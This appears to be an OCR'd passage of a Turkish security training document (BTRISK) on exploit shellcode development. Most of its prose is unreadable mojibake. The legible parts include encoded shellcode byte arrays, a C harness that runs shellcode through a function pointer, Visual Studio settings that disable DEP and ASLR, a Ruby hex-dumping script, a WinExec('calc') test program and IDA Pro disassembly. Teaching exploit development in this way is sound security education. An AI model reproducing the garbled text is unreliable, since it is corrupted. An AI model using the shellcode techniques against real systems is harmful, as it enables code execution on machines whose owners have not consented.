btrick

|||||||||||||||||||||||||||||||||||||

EXPLOIT SHELLCC
DO[ T ¢ T\




CtwAal AT IAISASYANEA ADS
E 0 {KSftfO2R¢

TeAYRSTAE SN

L. D T WL T e 2
H.{1 9[ [/ h59 ¢9{.dg. .L.wl.4].lawlL al ¥
m{ ¢! bs5! we¢ . Tw..lbL.,..DW[.l.al7

V. {1 9[ [/ h59 tghowWwmDagwMsTaT
V.ah5«[ ! 5w9{ TbTh..... Vl.m8al { L
V. ChbY{T, hb !'5w9{ ThTh29 ! [ be
VIL {1 9] [/ hDBO9[ ! bt T.w.T.[..a.9.{4Z

VIIL YmM¢ « Y! w! YCOW[ 9w5.9.053Y! we !
IX. SHELLCODE KODLAMA (ENCODING)...... 60

X CWTL{Y Ll dloPyoRb] 71

h‘|'|-| : I.( BTRISK BiLGi GUVENLI&i VE BT YONETISIM HiZMETLERI



StwAal . Af 3 I YBASBUANEAR ADS
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dzl dzy' t dz€dz I NI I Ol {1 G PNIp

{ KSt t 02RSQdzy dzl dzy f dzE dz | Sth1tSé§KéNﬁégRéaﬂmﬁﬁwm
APYPNIP @8SNAYAT 2fYlFaP KFEtAYRS OARRA O0ANI LINRPOE SY
AKGARI OPYPI 2fl 6Af AND

OEL 2A0 aKStf O2RS ol f PSYI YPI | oFotl YI ]

©

ELX 2 A0 aKSttO2RRBI¥S1 yOSA BNS Ol liPoYE PNBYEt ST Gl
AftAAE SNB AKGARFOPYPI 2t OF1U0PN® t9 R2aél FT2N)NI
SNB1fA O0Af3IATSNAR SRAYYSYAT RS 06N&N7{ kifnlokn&lan o6 dzf dzy Y
KStfO2RS 3IStAGUANNS] YNYINYy RSEAT @

Q¢ 1] O

pul;
Sy S

.dz 12ydz F N S1 2ftFNF{ 0o
1FREFENJI KF{AY 2fdz2NEI] 3St
ASEANNS], AceAy F@Fyidle 11

SttA asSoresSRS
ASGANBOSEAYAIT
I FyYyPNPIT &

- (U

v
t

T« ¢
w

t
2

Uy ¢
Q¢ O

I'a
akK

{KSEtO02RS ISEABGANNS &SG1AYEAEAYAY 38|

.dz el ft PoOYl &a2ydzyRIF 1SYyRA &aKStt O02RSQdzydz dz 3St Ao (A
1reyllidly SRAYRAEAYAT O0KNRBKSEVDOBRSQHzy OSNBAFSEA VN
Ffdel LIPeP 2f dzoddzNN¥dzo 2fl OF €EPI @

KStt O2RS 3AStASGANNYS cl f POYIFYPIPY &2ydzyRIE T I NI NI
PAYPYl KFE1AY 2ftFO0FePT I Nyl N RIZHIY I & RYSESNIR SINETS]YTYIAS
23481 &8P AAYRS NIKIFGEPLEl 31 TESYtSeSoat SOSeAYAI
N

NNf SYySeS0S1e .dz &8l yidSY TINYNIP &1 PtPYEtIl NRI RI

. 'l!l
h'l'l'" 5 I.( BTRISK BiLGi GUVENLIiGi VE BT YONETISIM HiZMETLERI %



CCwAELl . Af 3N IDSAIBANEN ADS
9ELIX 2A0 {KSfftO2RS
el t POYFAPYP TBNJ UZDUGPWNFPE RPEPYRPEET I NI NY P &1 Pt PY
aletl el O ldPND
{KStft O2RS @Sel TFNINIP &lTPtPYEFINII &F1PYRIFEY Af:
8L TPEPYEFNI AceAyRS {dzf £y PiRNOIIGAYYINEBP & t2FRdzya KA S/TCOESE X
ANNBOAYRS AaS RIFIKIF | yOS o0FKASGUAEAY IAOA 1 2Rdzy A
1dzf € FyPEYEF{GFERPNY 9€SN) aKStff 02RSQdzydzZl 11 GN yAeSi
1dzf £ y R 2R FOONNIJGIPNY St 6SGGSo

DSt AOUANBOSEAYAT aKSffO2RS AfS aSil alLd

AT ol E POYEFYPT 4PN} A&PYRI 06SttA F2ylaaezyftl NP 2Ay
2 NF1 3ISEAOUGANBOSEATI S ¥y@hYy aRSt6ORRSEGITADAGH NN
aKStt 02RSQdzydzd dzy RFEKIF LI NF YSGNR] 2ftYlFaPyP KSRST®

MNYSeEAY aSililaLit 2Ali 2AyR264k9ESO LI &f 2l RQdzy Rl cel ¢
O0St ANI SeSoOAf RAEAYAT 3IAOAOD

I @NPOF eSoAlGt A 2aA¥RpAdZGSHEARRIYOH NPYRNI { 2R ISt A0
1dzf € F yYPOPE NI I ePAPYRIY RIFEKEF 1dzf €t FyPotP 2f dzZNRdzd &

aSilaLft2a0 oAl S akKStftO2RSQdzy KIFy3aA LI FGF2NYRFE cel
WinR2ga A0t SGAY aAadSYtESNAYAY KSLIAAYA RS&AGS{t SN

.dz cel f POYFRIF &aKSffO2RS 3ISEtASGANNS AfS Af3IAEA GSY
ISEAOGANBOSEAYAT (2RfFNPY o211 FfG aSOA@SRS 2f VYl 3
im FytFENP T 2tF0FEPYRFEY RAJ{1FGAYAT A @2¢€dzyt | 6PN
12ydzZ NPy 1+t POP 0AeAYRS Iyt 3Pt oAft YSE&A Acwiy |8
el t POYFEFNP &FLIIFYyPI Sy Si1AtA &l ydisSy 2t OF 1 GPNX

h'l'l'" 5 I.( BTRIiSK BiLGi GUVENLIGI VE BT YONETISIM HiZMETLERI



Stwhal . Af 3N TEASWANE
OELI 2A0 { KSTff

SHE[/ h59 ¢9{¢ ! w! 4]

DSt AO0GANBOSEAYAT &aKStfO2RSQf I NP GSaid Si YS1
dz8 3dzf I YI RAfAYS dz2&23dzy F2NXIF GGl 06ANI RSEA

518y 8

LI2AY G SNDRP & KK $ O RN di eBSEAG1 SYAyYy KETPIIFRI]A
12ydzidz F2ylaie2ydz el EPNRPEPYPI Rl OSNR 2¢ | NI |

1. unsigned char shellcode[] = "\ xd9\ xeb\ x9b\ xd9\ x74\ x24\ xf4 \ x5b"
2. "\ x31\ xc9\ xb1\ x8e\ xb0\ xb6\ x30\ x43"
3. "\ x14\ x43\ xe2\ xfa"

4. "\ x87\ x7f \ xd2\ x3d\ x83\ x86\ xb6\ xb6"
5. "\ xb6\ x3d\ xcO\ xba\ x3d\ xcO\ xaa\ x3d"
6. "\ xe8\ xbe\ x3d\ xc8\ x96\ x3d\ x80\ x8e"
7. "\ xf9\ xae\ xc3\ x45\ xe5\ xde\ x55\ xa8"
8. "\ xa4\ xab\ x5e\ x97\ xb6\ xb6\ xb6\ x35"
9. "\ x72\ xb2\ xed\ xdc\ xb6\ xde\ xd5\ xd7"
10. "\ xda\ xd5\ x3f \ x57\ xdc\ xb6\ xe7\ x49"
11. "\ x66\ xe5\ xde\ x4e\ x2f \ x89\ x8a\ x5e"
12. "\ xb2\ xb6\ xb6\ xb6\ xdc\ xb6\ x49\ x66"
13. "\ x3d\ xda\ x92\ xbe\ x3d\ xf3 \ x8a\ x3d"
14. "\ xe2\ xb3\ xce\ xb7\ x5¢c\ x3d\ xfc \ xae"
15. "\ x3d\ xec\ x96\ xb7\ x5d\ xff \ x3d\ x82"
16. "\ x3d\ xb7\ x58\ x87\ x49\ x87\ x76\ x4a"
17. "\ x1a\ x32\ x76\ xc2\ xb1\ x77\ x79\ xb9"
18. "\ xb7\ x71\ x5d\ x42\ x8d\ xca\ x92\ xb2"
19. "\ xc3\ x55\ x3d\ xec\ x92\ xb7\ x5d\ xd0"
20. "\ x3d\ xba\ xfd \ x3d\ xec\ xaa\ xb7\ x5d"
21. "\ x3d\ xb2\ x3d\ xb7\ x5e\ x75"

22. ;

23. int main(int argc, char **argv)

24, {

25. int (*/();

26. f = (int *)))  shellcode;

27. (int )(H0;

28. }
test.c
¢Sad AoAy (1dzZ tlylFOFEPYPI dz23dzZ | YI YPI P +Aadz ¢
FEFyflFNRI cel f POGPNYE KFE{]1PYP (FITERPRANREAPGENBYSE B
alr1trerorePYPl akKStftO2RSQdzYdzl dz cel ft PO GPNI YI &Pl @
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N test - Microsoft Visual Studio Express 2013
FILE EDIT VIEW PROJECT BULD

ro|BuRP|D-C -

| Configuration: [Active(Release) =] Platform: [Activewin32) ~] [ Configuration Manager... |
I3 P - & Poi Solution Explorer v 3 X
B b Common Properties ntry Point =
(e ope 4 Configuration Properties No Entry Point No co@le-2am|o s -
unsigned char she I General Set Checksum No Search Solution Explorer (Ctri+s) p-
" \xfc\xes\x89\x9 o DthQging Base Address [3] Solution ‘test’ (1 project)
"\ x8b\x52\x8¢c\x8b . ‘éfc*:’olmﬂo"fs Randomized Base Address Yes (/DYNAMICBASE) a4 [5]est
a . Fixed Base Address +& External Dependencies
\x31\xc@\xac\x3d] 4 Linker No (/NXCOMPAT:NO) [= 7 Header Files
"\xfO\x52\x57\x8b If‘::;"' Turn Off Assembly Generation No 4 Resource Files
“\XCG\X74\X43\X9 Manifest File Unlu.ad delay loaded DLL {b 4 .. SourceFiles
# : Nobind delay loaded DLL b+ Testc
\x3c\x49\x8b\x34] Debugging gty
| 5
"\x01\xc7\x38\xed s Merge Sections
"\ x8b\x58\x24\xe1ll iosain :ar?:t Machine zlachineXBG (/MACHINE:X86)
oll Windows Metadata bod <
"\x@4\x8b\x01\xd@ R CLR Thread Attribute
"\xe®\x58\x5f\x5all All Options CLRImage Type Default image type Propaies
"\x00\x00\x50\x68/l i C_;m";m;‘ Line :'y;‘“! s main VCCodeFunction v
" b Manifest Tool ey Container —
\x68\xa6\x95\xbd|l b XML Document Generator Delay Sign BN E
"\x05\xbb\x47\x13|l b Browse Information CLR Unmanaged Code Check B C++ -
"\xg0"; b Build Events Error Reporting Promptimmediately (/ERRORREPORT:PROMPT) (Name) main
: L b Custom Build Step SectionAlignment File clesg\kaynakitest.c
=int main(int argc b Code Analysis Preserve Last Error Code for Pinvoke FullName main
f Image Has Safe Exception Handlers  Yes (/SAFESEH) IsDefault False
ine(*H0; S— pae e
= (int(*)() Data Ex: Prevention (DEP) i
= (int( Marks an executable as having been tested to be compatible with Windows Data Execution Islnjected False <
(int) (*F)(); e — Prevention feature. /NXCOMPAT:NO]) . Tlntine Fatea
.
) (o) (o)

dzl F NPRF 31 NRNENYNT dz&23dzZ ' YI AeAyRS akKStf O0O2RS RS
KStfO2RS @I N +AadzZ f aiddzRA2 AfS dz2 Bd BlyYPIHE P yIPa
dzf dzy't'y @OSNAYAY ylIaPt 12R 3IA0A ol f POGPNPE RPEPYP

O Q¢ v

D4 test (Debugging) - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VIEW PROJECT BULD DEBUG TEAM TOOLS TEST WINDOW  HELP
f@-o| % M9 - | p Contine - icen ir A inmd|re bR infEl =z Rann.

¥ Process: | [10336] test.exe ~| 7 Suspend + Thread: | [10328] Main Thread -| ¥ = Stack Frame: | main -JE

Memory 1

+ | Viewing Options
012EOFFE 00 00

-- c:\esgjkaynak\test.c
int(*f)();
£ = (int(*)()) shellcode;

(int) (*F) O3
© 012E1000 b8 18 30 2 01 mov eax,12E3018h
©012E1005 FF DO call eax
213 ):
012E1007 33 (0 xor eax,eax
012E1009 C3 ret
--- f:\dd\vctools\crt\crtw32\misc\i386\secchk.c
©12E100A 3B @D 00 30 2E o1 cmp ecx,dword ptr ds:[12E3000h]

Registers * B X | Watchl

EAX = 6E@9F62C EBX = 00000000 ECX = 0047A4(8 EDX = 00000000 ESI = 00000001 -
EDI = 00000000 EIP = ©12E1000 ESP = @O3EFA28 EBP = @O3EFA64 EFL = 00000244

Locals [RRTRGEY Call Stack Immediate Window Memeory 2

¢Sad 12RdzydZd / RAETAYAY 1dzNF € €FNPYyP dz23dz Y]l | Yl

dz8 Adzf dz@ 2 NX | FyA F2ylarezy 2fl N ¢l LRPAYBSINODPYPYT

RI' YNOGONNRN]GSYy &a2yN} o0dz F2yl1aAé2ydz el EPNPE 2Nz &

21 RFEKF o6F&aAd 0ANI {2R 3JI NNeé2NHzZd o t SYyOSNBRS EII NF
e

T2yl1arezy 3FJAO0OA IfSPoﬁiSFBmFthYSIWaAR/Aaw R RONSS agrk/Sityt @2 R N.
adresin CALL edilmesinden ibaret.
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CCwAA]l L AfIA I DSAESRWE
9ELX 2A0 {KS

{KSttO02RS ISEAOGANNS el f POYIEFNPYPIP &F LI

tAddztf {(dRA2QedzE ! 5aSYOIEYRYRI SabhOfak BPABRRBNDL SA

DSt AOGANNS el t POYLFEFNPYPT &APN}EAPYRI / RAEAYAY Ay

5SNX SYyYAS 2fly (1 2Rdzvydd RIF @8SNJIfly 2LIO2RSQf I NP
AKGARE OPYP 2dzydzy AceAy o6dz 6l &aAd wdzoée aONR LI QA
KSNJ 6ANJ {1 FNF{GSNR 21d2 NI {1 / F2NXYIFGPYRI 2yIfG§PtT

i=0
satirBoyu=8
toplamByteSayisi=0
File.open(ARGV[0].to_s, 'rb' ).each_byte do |b|
if i ==0 then
printf
end
if i < satirBoyu then
printf  "\\x" + "%602x" %b
10. i+=1
11. toplamByteSayisi+=1
12. end
13. if 1 == satirBoyu then
14, print "™ + "\n"
15. i=0
16. end
17. end
18. if not i == 0 then printf ™ end

19. printf "\ n\nToplam byte OA U C O C Rotl"{% toplamByteSayisi

©CoNOGOAWNE

hexyazrb
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CwAA]l . AfIAIDSEIBANEA ADS
Al {KStfO2R

m.{¢!' b5!'we¢ .Tw ! D!/[! al!

{KStft O2RS ISt AOGANNS o fPOYFYPIF &0dFYyRFNI 0ANJ dzE
my @3 £ Odzt | G2NJ dz2&2 3dzA | YI &PYP el f POGPNIY oFaAAG 06ANI
#include <windows.h>

int  main(int argc, char **argv)

WinExec("calc" ,0);

o0k wNE

S.C

/| RAfAYRS 3ASEtASGANRAEAYAT dz2 3dzZ | BIKGRY ORRNEE &y W5 di
AceAy 1dAtryYlILeaP RSySeSOSeAl o

Y2R {FINXYIOPltPEPYP [T FEGYF] AceAy 1 2Rdzydzl dz NBf St
| TSttAEAYA @S RS060dzZZISNNRI 6dz 12Rdz AyOSt SRAEAYAI
kaldPNJ} OF €PT @ ! {[w I TStfAEAYA 1FfRPNEI]l RIF 2AyR2¢a
FIN]LEPEIOOGPNRPEPYRIY GQCAESR . 145 ! RRNB&aaé |1 S¢tfA
RSEABGALTEALTESNR &l R O S i 2f 1 &f

a
B

& GPNYI

b Common Properties  ~ Entry Point X
ac ion Properties No Entry Point No 1

General No

Debugging 3

VCr+ Directories e UDVNAECRASEH) 157 Solution s’ (L project)

diclers Yes UFIXED) = A .
Genenal e e b ¢a Extemal Dependencies
B Tum Off Assembly Generation No
E’::x:::m Unload delay loaded DLL &
Nobind delay loaded DLL
Language &
Precompiled Heade|= Import Library
i Merge Sections
Browse Information) Target Machine MachineX86 (/MACHINE:X86)
Advanced Profile No
Al Options CLR Thread Attribute
Comand Fine CLRImage Type Defaultimage type
4 Linker Key File
General Key Container
Input Delay Sign
Manifest File CLR Unmanaged Code Check
Debugging Error Reporting Promptimmediately (/ERRORREPORT:PROMPT) ey ey
System ) [ SectionAlignment il \esg\kaynakls:
‘E’P:":;‘::I;L Preserve Last Error Code for Plnvoke ¢ o e =
mbe :
Bl Image Has Safe Exception Handlers  Yes (/SAFESEH) ::g z:::" i :
e e
All Options odBesfades ) IsFinal False
o =| | Creates a program that can be loaded only at s preferred base address (/FIXED:NO]) Sijeetsd e
it fis =y ¥
[Cok ][ concel ][ ey ]

Y2 RdzYdd dz RSN SRA1GSYy a2yNI} L5! tNRBQRI | celfPY®
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File Edit Jump :‘ View Debugger Options Windows Help
BH e BHA S ) o D0 ddd P -FuX > 00w ) @ @ .
ATEEn i ;=

|'| Ubeary functon 1 Data [l Regular function Il Unexplored [l Instruction | Extemal symbol |

(] Functions window o8 x aviewA 3 [[O] rexviewa ) [[Al stucwes [ [E  Ewms 0 [ FF  wwos 0| Bports [ |
Function name (&
7] _main
7] __tmainCRTStartup =
(7] _CoUnhandledExceptionFilter EXCEPTIO | s
m_xlptfingr ¥ | This file has been generated by The Interactive Disassembler (IDA) |
(7] _amsg_exit A Copyright (c) 2013 Hex-Rays, <support@hex-rays.com>
m;ub 40120F 3] Evaluation version 1
(7] sub_4012F0 2
(7] _tsNonwritablelnCurrentimage ; Input MD5  : SDA2F OF48OBES933827ES7EAFELOEICT
(7] _ValidatelmageBase ; Input CRC32 : 04024782
(7] sub_401431
(7] sub_401509 - ; File Name  : C:\ESG\s\Release\s.exe
SR - » ; Format : Portable executable for 80386 (PE)
Linelof35 ; Imagebase : 400000
; Section 1. (virtual address 80801080)
2, Graph overview o# x| ; Uirtual size : 0080084C (  2124.)
5 ; Section size in Ffile : 906OOAGO (  2560.)
; Offset to raw data for section: 006008640,
; Flags 60000620: Text Executable Readabl:
; Alignment : default
; 0S type : MS Windous
: Annlication tune: Fxecutahle 32hit

100.00% (0,0) 00000400 00401000: main

You nay start tu explor’e the 1nput file right now.

Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.
Type library ‘vcéwin' loaded. Applying types...

Types applied to 1 names.

Using FLIRT signature: Microsoft UisualC 2-11/net runtime

Propagating type information...

Function argument information has been propagated

The initial autoanalysis has been finished.

InC
AU; _idle Down Disk: 223GB

il ™= |

IDA Pro startizLd & S1j dzSy O S @SNJGLOPYP alreSaAyRS FINJEP RS
NNBGGAEA 2Rdz GFyPelr N1 | yldlyPYEP 2tFN¥1 o0AT S YI
LISYOSNBAAYRS 3JI NNf Sy | Yofe& AyaldNHzGA2Yy Qf I NPY T
1 NX¥S]1 AceAy hLIWiA2y&akDS f YSYNAN AceAYRS d&a5AaLx
LINBTAES&E &a4SaeSySerayir a Aff AR Y By . IdANJF R RY¥d R &€ AF 2
1Fr@RPeftro0 19- ann mn n RNBAAYRSY o6l 0ofFRPEPYP
KFEF¥PT el &@N1ftSYSRAEAYA AcAy dz23dzZ FYF ! {[w &$aS
olan baz adres IDAtarf PY Ry RA 1 1| FfPYYIF]1dF RPN 5SNI SYYAGS
I NNy GdNt SYS| AmAYaS é hlLIiA2yakDSYSNIf YSyNaN

RSESNAYA Gyé 2fFNF1 o8t

1 A
y S
A NJ:
So

a
Y
S
n
i

[

y
aég

m- (/'))(/))M m~8 Uy ¢

AbdzYoSNJ 2F 2L02RS o6éids

dit Search View Debugger Options Windows Help
BH e HHA B 3« DO - X > DO o)W @ )
A1l 11N il & - (-]

|| Libeary function [ Data [l Regular function Il Unexplored Il Instruction © External symbol |

[7] Functions window o8& x DaviewA [ [[O] tHexviewA [ [ [A] stucwes [ [E  Ewms ) [#  iwpers ) | {#  Beos (3|
Function name fa 80401000 ; Segment type: Pure code
B _mai 00401000 ; Segment permissions: Read/Execute
mamn. A 06461000 _text segment para public 'CODE' use32
[7] _tmainCRTStartup b 60461008 assume cs:_text
SLN3L L 00461000 ;0rg 4610066h

(7] _CotnhandledExceptionFilter EXCEPTIO 00401000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:noth:
7] XeptFilter 00401000
[7) _amsq_esit 004081008
(7] sub_40120€ cetelhobic . s
m <ub_ 4012F0 00401000 H u]t __cdecl main(int argc, const char =xargu, const char =

= 2 00461008 _main proc near
(7] _tsNonwritablelnCurrentimage 86481668 6A 08 push @ ; utmdShow
(7] _ValidatelmageBase 80461602 68 06 21 48 08 push offset CmdLine ; “calc”
‘\Z] sub_401431 00481607 FF 15 00 26 46 00 call ds:WinExec
(7] sub_401509 - 00401000 33 CO xor eax, eax
] » 08040100F €3 retn
Linel of 35 8040100F _main endp

0640106F
Ak, Graph overview oé& x| @
100.00% (-333,426) (549,268) 00000400 00401000: main

= e
You may start to explore tne 1npnt file right now.

Can not set dehug privilege: Not all privileges or groups referenced are assigned te the caller.
Type library ‘vcéwin' loaded. Applying types...

Types applied to 1 names.

Using FLIRT signature: Microsoft UisualC 2-11/net runtime

Propagating type information...

Function argument information has been propagated o

The initial autoanalysis has been finished. ~
nC
AU;__idle  Down Disk: 223GB
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cwrial . Af 3L I FEESBUANEA
OELX 2A0 {KSET

¢Said SGYSTFANANKRYRAECHOVYA 2 LI0O2RSQf I NP R2ENHRIY aKk

Tt AYyadNUWzOiA2yQPYPI 2fly GLzAK né LINBOEfSYairl 2f
el f PoFOF1TGAPN® ! yOI 1 AlAYOA Ayail NREORIA 20y1 &6t yo AGNDdE3
BN / YR[AYS 2FFaSi RSESNR NI SNARYS ATl (GPlfl RPE
I RNB&AYRS 2t Rdz€dzydz 31 NN& 2 Nzl o

Flle Edit Jump Seaxh View Debugger Options Windows Help
BH - BhG S )6 DO ddd S FuiX > 0 Ofodenme ] %@ @ 8§
Rl (I (1T 3 ! p——
|| Ubrary functon 1 Data [l Regular function Il Unexplored [l Instruction ' Extemal symbol I
(7] Functions window 08 x|[[B oavevsa O [T texviewa [} [[A] stucwes [ [E  6ums [0 [ F8  mpos 0 [ B eees 0]
Function name - * [.rdata: 004620F5 db  OFh
& * |.rdata:804020F6 db 8
7] _main © | rdata: 00u620F7 @ 0
(7] _tmainCRTStartup “ |.rdata:004020F8 off_4020F8 dd offset dword_463650 ; DATA XREF: _ report gsfailure+EDTo
SLN31 ® |.rdata:8040620FC dd offset dword_4030A0
7] _ConhandledExceptionFilter( EXCEPTIO ¢ |.rdata:00402100 ; char CmdLine[]
XeptFilter 3 .rdata:00402160 CndLine db ‘calc',0 ; DATA XREF: _main+2To
“amsq et F ° |.rdata:eoue2165 align 4
(7] sub_40120E “|.rdata:00402108 _ load_config_used dd 48h ; Size
LZ] b_lOlZFO * |.rdata:pou0216C dd o ; Time stamp 0l
® [.rdata: 80462110 du 2 dup(0) ; Version: 0.8 5
(7] _tsNonwritablelnCurrentimage *® |.rdata: 00462114 dd 8 ; GlobalFlagsClear
(7] _ValidatelmageBase L4 * |.rdata: 00402118 dd @ ; GlobalFlagsSet
(7] sub_401431 * |.rdata:0640211C dd 8 5 critical&ectionnefaultnme@
sub_401509 * |.rdata: 00402120 dd 8 ; DeCommitFreeBlockThreshold
% sub_401582 ° |.rdata:oono2124 dd 0 ; DeCommitTotalFreeThreshold
(7] sub_s015C7 * [.rdata:soup2128 dd 8 ; LockPrefixTable
z] b_4015€7 ® |.rdata:e8408212¢C dd © ; HaximumAllocationSize
- ® |.rdata: 00462130 dd 8 ; VirtualMemoryThreshold
¥l mdefﬂ“"v'“m" * |.rdata: 00402134 dd 0 i ProcessAffinityHask
L _' nitterm, ® [-rdata: 80402138 dd 8 ; ProcessHeapFlags
A mem * |.rdata:8048213C du @ ; CSDUersion
SEH pcolog4 ¢ |.rdata:0040213E du @ ; Reservedi
'7‘! = A * |.rdata: 80402140 dd o ; EditList
Line1 of 35 00000F00 00402100: .rdata:CndLine
[Z] output window 0o& x
B A S ey
You may start to explure the 1npnt file right now.
Can not set debug privilege: Not all pnuueges or groups referenced are assigned to the caller.
Type library ‘vcéwin' loaded. Applying types..
Types applied to 1 names.
Using FLIRT signature: Microsoft UisualC 2-11/net runtime
Propagating type information... |
Function argument information has been propagated F
The initial autoanalysis has been finished.
DC
!wég idle Down Disk: 223GB

TIAYOA AYyaiNHzOGA2Yy QP 2t dzdGdzNI y o0dz 2 LIO2 RSQUA NP | &
AeAyYyRS o f PolFOFEP LINP&aSa AeAYRS{A 19 dann HM nné
AZG0SRAEAYAT OSNR o6dzZf dzy Yl &@F OF {1 @ 52fl &@PaPetl o6dz Ak
GSNRAE SNAY aidl 01 QS Yedx| dzyS eASOOASYER S Ad dzfadkySY H 30 RBINIB | A N.
0l 61l O0AN) d223dz I YI'yPY KIFPI I aPyl &l RPEPYPIRI I|F
oFLotlrelrOoFreEPYyP GFKYAY SGYSYAT YNYINy 2tyvlFelOF1dPN
etmenyy RS O0ANJ) &@2fdzydz 6dzf YIFI YPI 3ISNB]1SOS| @

«eNyON AyadNHzOiGA2y 2AySESO F2ylaiez2ydzy dz el EPNPe 2




CtwAal AT IAISASYANEA ADS
9ELX 2Al0 {KSffO2R

98 IDA - CAESG\s\Release\s.exe
File Edit Jump Search View Debugger Options Windows Help

EH e BHB D ) o DO @S- Fw X > 0O )@ @

A Tl e - T =
' Library function 1 Data [l Regular function Il Unexplored [l Instruction | External symbol I
[7] Functions windowe o8& x aviews B [0 texvewa ) [[A] stucwres [ [E]  Ewms ) [ F3  dmots ) [ @ Bees [ |
Function name & 00401000
i 80401008 .686p
main
% _tmainCRTStarty = seagiess <MEx
e P 00401000 .model flat
a1 . (4 06401000
(7] _CotnhandledExceptionFilter EXCEPTIO 068401008
_XcptFilter 00401000 ; Segment type: Pure code
_amsg_exit 00401000 ; Segment permissions: Read/Execute
(7] sub_40120€ 00401000 _text segment para public 'CODE' use32
7 00401000 assume cs:_text
(] sub don2e0 00401000 sorg 41000h
m—k"‘.mwmmd"cum"“mage 00401000 ;ssume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:noth:
(7] _ValidatelmageBase 00401000
(7] sub_401431 06461000
(7] sub_401509 - 06461008
- L4 00401008 ; int __cdecl main{int argc, const char xxargu, const char =
Linel of 35 80401000 _main proc near
= 00401000 6A 00 push L] ; uCtmdShow
h, Graph overview 0 & x 80401002 68 08 21 48 08 ush offset CmdLine ; "calc”
00401007 [ 0 a6 1) ds :WinEx: I
80461000 336 xor eax, eax
80401006F C: retn
8040100F _main endp
0040106F
H i 100.00% (-333,333) (410,296) 00000407 00401007: main+?
[Z] output window 0& x

. s e
You may start to explore the input file right now.

Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.
Type library ‘vcéwin' loaded. Applying types...

Types applied to 1 names.

Using FLIRT signature: Microsoft UisualC 2-11/net runtime

Propagating type information... N
Function argument information has been propagated 0
The initial autoanalysis has been finished.

IDC

IW'EE idle Down Disk: 223GB

.dz F2yl1aAreéz2y d23dzZ | YIYPY AYLRNI SGGAEA 6AN { NGINL
F2ylaarez2yo .dz y21G+FrRF RIF 0ANJlFce LINROEfSYES {1 NBPE
Biinch & A 06dz AYyadNdzOGA2y AYLIRNI | RNBa GFof2adzyRFE1A
L byA OFft AyadiNdzOGA2yQPYPY &FyPyRIF Fat PyRI cal €PN
0dzf dzy dz2 2 NJ @S ySUAOSRS o0dz | RNFPATSY paA @ify yol KRNBRAP &
31 &GSNAYA ySiG 2tFNFY1 AFIRS SRSYA@2NMHzZYZ Yl O6ANII
el f POGPNI OF EPT X 0dzNI RF AyadNHz2GA2Y QPY YLyl aPyP F
I RNBaAYyRS 20RRAEAxzAdOdz &St $8SOSEAYAT dz23dzA | YI yPY
BSNAYAY 2t OFLEPYP o0AfSYSeAaAl o a2AySESQOé F2ylarezy
el £t POYLF FyPyRIF &FTPEtYPS 2t OFEP | RNRESaiAA RSO AT AN
2f RdzEdzydz @S LYLRNI ! RNBa ¢l of2Qadzydzy el fPOYI | yF
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cewAal L Af3A IR
A

C\a;
H—.m’
= O

S
- X
- M

<1
Ny >
oS

o

9ELJ 2

rue Edit Jump Searth View Debugger Options Windows Help
BH e m00 S ) e 0 ddd S A X > OOwe ) W@ @
(EE BT NI I .—-:
|| Lbrary functon 11 Data B Reguler function I Unexplored [l Instruction | External symbol I
[ Fcm wiiom 06 x|[[@ oavewsn @ [[O] vexvewh [ [ A swcwes [ [E  Ewms ) | %@ ot £) | [ Eees 0]
o — - .idata: 08402080 ;
& .idata: 00402000 ;
(7] _main .idata: 00402000
(7] _tmainCRTStartup .idata:084020088 ; Segment type: Externs
SLN31 .idata: 008402008 ; _idata
m __CoUnhandledExceptionFilter( EXCEPTIO| * |.idata: 00402000 ; UINT __stdcall WinExec(LPCSTR 1pCmdLine, UINT uCmdShow)
_XeptFilter = .idata: 00402000 extrn WinExec:dword 5 CODE XREF: _main+ 7Tp
amsq_edt .idata:00492080 ; DATA XREF: _maine7Tr ...
m <ub_4012DE “|.idata:004062084 ; BOOL __stdcall IsDebuggerPresent() =
% .idata: 00462004 extrn IsDebuggerPresent :dword .
7] sub_s012¢0 .idata:80482004 ; CODE XREF: __raise_securityfailures3tp
(7] _tsNonwritablelnCurrentimage .idata: 00402004 ; DATA XREF: raise securityfailure+3tr
m __ValidatelmageBase Ly “|.idata: 004062008 ; PUOID __ stdcall DecodePointer(PUOID Ptr)
(7] sub_401431 .idata: 00402008 extrn DecodePointer:dword ; CODE XREF: sub_401569+1CTp
Z] ub_401509 .idata: 00402008 3 sub_401509+44Tp .
[7) sub_401582 ® |.idata:ep40200C ; void _ stdcall GetSyste-TimensFileun(LPFILET]ME lpsystenﬂmensFileliae)
(7] sub_s015C7 .idata:8040208C extrn GetSystenTimeAsFileTime:dword
.idata:0040200C 5 CODE XREF: sub_hlhllahahfp
%sub_wlfnﬂ - .idata:9840206C ; DATA XREF: sub_481431+3uTr
| _setdefaultprecision “|.idata:08462010 ; DWORD _ stdcall GetCurrentThreadld()
_initterm_e .idata: 00402010 extrn GetCurrentThreadid:dword ; CODE XREF: sub J031 u3tp
£ _initterm .idata: 08482010 ; DATA XREF: sub_491431+
_SEH_prolog4 = “|.idata:00402014 ; DWORD __stdcall GetCurrentProcessld()
A ers s .idata: 00402014 extrn GetCurrentProcessid:dword ; CODE XREF: sub_401431+4CTp
< g
Line1 of 35
[Z] Output window oe& x
S et gl P IS
You may start to explor’e the 1nput file right now.
Can not set debug privilege: Not all pnuileges or groups referenced are assigned to the caller.
Type library ‘vcéwin' loaded. Applying types..
Types applied to 1 names.
Using FLIRT signature: Microsoft UisualC 2-11/net runtime
Propagating type information... |
Function argument information has been propagated E
The initial autoanalysis has been finished.
IDC
IW-E idle Down Disk: 223GB

«eNyON AyaldNHOlGA2Y AfS Af3IAEA ALAYyOA LINRBOfSYAYAI
AeAyYRS 0dzZf dzy RdzEdz { NONLIKL yS&St A ORIREID dz¥ dzv 820 KB & PF & §
dz2 3dzf | YI yPYy o6dz | NGNLKFIySeA &Nl1fSYSYAS 2f Yl &P AKI(
F2ylaAréz2ydzydz o NPYRPNIY Y2RNE{N RS &@N{1fSYSYAT 3ISNH
AYyOSt SRAEABOIREGYOQORRAGA YRS Lat hwe¢ blYS ¢tFofS G of
GYOwbO[ oHdREf & {NGNLKFYSEA AcAYRS 0dzZ dzy RdzE dzydz 3|
2 AYyR2g64& dz23dzZ I YIFaP KFEFPTi el &@N{fSYRAEXPRRI ¢fYSNYS
